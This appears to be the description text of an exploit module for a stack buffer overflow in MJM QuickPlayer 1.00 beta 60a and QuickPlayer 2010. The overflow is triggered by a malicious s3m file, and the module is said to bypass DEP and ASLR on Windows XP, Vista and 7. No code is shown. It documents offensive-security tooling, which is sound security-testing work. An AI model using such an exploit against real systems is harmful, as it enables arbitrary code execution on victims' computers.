          This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 beta 60a
        and QuickPlayer 2010 (Multi-target exploit).  When opening a malicious s3m file in
        one of these 2 applications, a stack buffer overflow can be triggered, resulting in
        arbitrary code execution.

        This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
